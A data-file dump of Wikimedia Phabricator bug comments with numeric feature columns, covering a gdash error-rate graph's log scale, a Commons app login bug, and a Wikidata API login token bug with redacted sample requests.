204041,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors",I still have no idea where to start to find a way that works...,,,1399137313,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,7.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9333333333333333,I still have no idea where to start to find a way that works...
204036,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 117021 had a related patch set uploaded by Nemo bis:
[gdash] Use logscale 10 for reqerror graph, again

https://gerrit.wikimedia.org/r/117021",,,1394047426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,27,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,1.0,"Change 117021 had a related patch set uploaded by Nemo bis:
[gdash] Use logscale 10 for reqerror graph, again

GERRIT_URL"
204032,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","(In reply to comment #10)
> Change 105614 merged by Ori.livneh:
> Also logbase 2 for the shorter reqerror graphs
> 
> https://gerrit.wikimedia.org/r/105614

That worked for a bit, but then regressed again. Will need to check.",,,1392041572,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.121212121212121,0.7575757575757576,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

That worked for a bit, but then regressed again. Will need to check."
204026,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 105614 merged by Ori.livneh:
Also logbase 2 for the shorter reqerror graphs

https://gerrit.wikimedia.org/r/105614",,,1389091486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,18,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.882352941176471,1.0,"Change 105614 merged by Ori.livneh:
Also logbase 2 for the shorter reqerror graphs

GERRIT_URL"
204019,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 105614 had a related patch set uploaded by Nemo bis:
Also logbase 2 for the shorter reqerror graphs

https://gerrit.wikimedia.org/r/105614",,,1388953099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,18,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.391304347826087,1.0,"Change 105614 had a related patch set uploaded by Nemo bis:
Also logbase 2 for the shorter reqerror graphs

GERRIT_URL"
204013,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 101065 merged by Ori.livneh:
Make logscale in reqerror graphs actually work

https://gerrit.wikimedia.org/r/101065",,,1388950567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,"Change 101065 merged by Ori.livneh:
Make logscale in reqerror graphs actually work

GERRIT_URL"
204006,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 101065 had a related patch set uploaded by Nemo bis:
Make logscale in reqerror graphs actually work

https://gerrit.wikimedia.org/r/101065",,,1386880289,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,1.0,"Change 101065 had a related patch set uploaded by Nemo bis:
Make logscale in reqerror graphs actually work

GERRIT_URL"
203996,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Apart from the wrong log scale setting (which needs to be per-graph), I probably also have to fix the x axis scale, because it seems with the current one it needs an extremely long image to actually show the data.",,,1386016842,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,13,True,0.0,0.0,2.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,2.0,4.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.702127659574468,0.8085106382978723,"Apart from the wrong log scale setting (which needs to be per-graph), I probably also have to fix the x axis scale, because it seems with the current one it needs an extremely long image to actually show the data."
203988,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95068 merged by Ori.livneh:
Also add 2 months and 1 year graphs in ""(cdn) HTTP Error Rate""

https://gerrit.wikimedia.org/r/95068",,,1384853536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,0.9615384615384616,"Change 95068 merged by Ori.livneh:
Also add 2 months and 1 year graphs in ""(cdn) HTTP Error Rate""

GERRIT_URL"
203983,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95064 merged by Ori.livneh:
Use log scale for 5xx errors in ""(cdn) HTTP Error Rate""

https://gerrit.wikimedia.org/r/95064",,,1384853527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9583333333333334,"Change 95064 merged by Ori.livneh:
Use log scale for 5xx errors in ""(cdn) HTTP Error Rate""

GERRIT_URL"
203979,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95068 had a related patch set uploaded by Nemo bis:
Also add 2 months and 1 year graphs in ""(cdn) HTTP Error Rate""

https://gerrit.wikimedia.org/r/95068",,,1384296310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.46875,0.96875,"Change 95068 had a related patch set uploaded by Nemo bis:
Also add 2 months and 1 year graphs in ""(cdn) HTTP Error Rate""

GERRIT_URL"
203975,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95064 had a related patch set uploaded by Nemo bis:
Use log scale for 5xx errors in ""(cdn) HTTP Error Rate""

https://gerrit.wikimedia.org/r/95064",,,1384295502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.9666666666666667,"Change 95064 had a related patch set uploaded by Nemo bis:
Use log scale for 5xx errors in ""(cdn) HTTP Error Rate""

GERRIT_URL"
203972,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Created attachment 13762
Example (not representative) of reqerror graph

Note, today's graph is not representative because packet loss between esams and eqiad caused a huge peak of 503 errors.

Something hints me that I should try this myself. :)

17.58 < ori-l> yes, you can submit a patch yourself, let me point you to the right file
18.00 < ori-l> Nemo_bis: 
http://git.wikimedia.org/tree/operations%2Fpuppet.git/ca6fe4efc30c6a4b2606b13aab178b9e71914dca/files%2Fgraphite%2Fgdash%2Fdashboards%2Freqerror
18.01 < ori-l> the DSL gdash uses to describe graphs is at https://github.com/ripienaar/graphite-graph-dsl/wiki

**Attached**: {F10193}",,,1384190185,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.5,0.0,0.0,1.0,3.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,5.0,0.5,1.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,3.0,0.5,0.0,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,8.0,1.0,0.5,3.5,0.0,0.5,0.0,0.0,4.0,1.0,3.5,0.0,5.0,5.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,4.5,3.4818181818181815,0.7909090909090909,"Created attachment 13762
Example (not representative) of reqerror graph

Note, today's graph is not representative because packet loss between esams and eqiad caused a huge peak of 503 errors.

Something hints me that I should try this myself. :)

17.58 < ori-l> yes, you can submit a patch yourself, let me point you to the right file
18.00 < ori-l> Nemo_bis: 
URL
18.01 < ori-l> the DSL gdash uses to describe graphs is at URL

**Attached**: {F10193}"
43704,Commons app doesn't handle changed login passwords properly,"If you change your password, then the app just sortof gets 'stuck' and doesn't go anywhere - keeps trying to auth and fails.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1351874280,1411416962.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-amwwvpcltbhc37ydpmlo,task_description,declined,True,c2,1,True,False,False,-43,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.782608695652174,0.7608695652173914,"If you change your password, then the app just sortof gets 'stuck' and doesn't go anywhere - keeps trying to auth and fails.

--------------------------
**Version**: unspecified
**Severity**: normal"
200379,Commons app doesn't handle changed login passwords properly,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411416962,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-amwwvpcltbhc37ydpmlo,task_subcomment,,True,c2,3,False,,,55,True,2.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,21.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,3.9206349206349205,0.8095238095238095,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: URL"
200373,Commons app doesn't handle changed login passwords properly,Possible workaround for user: Remove account in system settings. (Not very user friendly but solves the immediate problem).,,,1402561694,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-amwwvpcltbhc37ydpmlo,task_subcomment,,True,c2,3,False,,,41,True,0.0,0.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,0.9130434782608695,Possible workaround for user: Remove account in system settings. (Not very user friendly but solves the immediate problem).
43586,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","the lgtoken attribute (which is need to create a valid cookie for future requests) is invalid after successful login.

request (POST):
action=login&lgpassword=xxx&lgname=MerlIwBot

response:
<api><login result=""NeedToken""
 token=""087cb80705ed9564d18c3309fae1ec""
 cookieprefix=wikidatawiki
 sessionid=""9b4c867c526e06f0e55ee395287ff0""
/></api>

request (POST):
action=login&lgtoken=087cb80705ed9564d18c3309fae1ec&lgpassword=xxx&lgname=MerlIwBot

response:
<api><login result=""Success""
 lguserid=""3280""
 lgusername=""MerlIwBot""
 lgtoken=""��������������������������������""
 cookieprefix=wikidatawiki
 sessionid=""9b4c867c526e06af0e55ee39f287ff0""
/></api>

password, sessionid and first token is a bit modified for this paste of course. The problem is that the lgtoken is invalid because it only contains character hex:EF BF BD (which is ""object replacement character"" according to unicode table)

Login on all other wmf wikis and wikidata-test-repo.wikimedia.de work for me.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1351692240,1382135480.0,PHID-USER-rbcxdzszrm6s4izt67kj,False,,False,PHID-TASK-npcbvlspmilnumexuhnd,task_description,resolved,True,c2,1,False,False,True,-43,True,0.3333333333333333,0.0,0.0,0.0,0.0,6.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,5.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.666666666666666,0.0,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.3333333333333335,4.666666666666667,1.0,0.6666666666666666,3.6666666666666665,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,5.0,17.666666666666668,0.0,4.0,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,4.6567977915803995,0.6007591442374051,"the lgtoken attribute (which is need to create a valid cookie for future requests) is invalid after successful login.

request (POST):
action=login&lgpassword=xxx&lgname=MerlIwBot

response:
<api><login result=""NeedToken""
 token=""087cb80705ed9564d18c3309fae1ec""
 cookieprefix=wikidatawiki
 sessionid=""9b4c867c526e06f0e55ee395287ff0""
/></api>

request (POST):
action=login&lgtoken=087cb80705ed9564d18c3309fae1ec&lgpassword=xxx&lgname=MerlIwBot

response:
<api><login result=""Success""
 lguserid=""3280""
 lgusername=""MerlIwBot""
 lgtoken=""��������������������������������""
 cookieprefix=wikidatawiki
 sessionid=""9b4c867c526e06af0e55ee39f287ff0""
/></api>

password, sessionid and first token is a bit modified for this paste of course. The problem is that the lgtoken is invalid because it only contains character hex:EF BF BD (which is ""object replacement character"" according to unicode table)

Login on all other wmf wikis and wikidata-test-repo.wikimedia.de work for me.

--------------------------
**Version**: unspecified
**Severity**: normal"
193605,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","This should actually be done, as a consequence of the fun potential data breach response (all tokens were reset on affected wikis, and wikidata was one).",,,1382135480,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,False,,,7,True,3.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.129032258064516,0.967741935483871,"This should actually be done, as a consequence of the fun potential data breach response (all tokens were reset on affected wikis, and wikidata was one)."
193599,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Reedy, can you run maintenance/resetUserTokens.php on the cluster at some point?",,,1382121736,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,True,,,7,True,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Reedy, can you run maintenance/resetUserTokens.php on the cluster at some point?"
193592,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Patch has been merged. Reedy, can you run maintenance/resetUserTokens.php on the cluster at some point?",,,1379606983,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,True,,,3,True,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.45,1.0,"Patch has been merged. Reedy, can you run maintenance/resetUserTokens.php on the cluster at some point?"
193587,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Change 77136 merged by jenkins-bot:
Efficiently reset null user tokens

https://gerrit.wikimedia.org/r/77136",,,1377735654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,"Change 77136 merged by jenkins-bot:
Efficiently reset null user tokens

GERRIT_URL"
193584,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Change 77136 had a related patch set uploaded by CSteipp:
Efficiently reset null user tokens

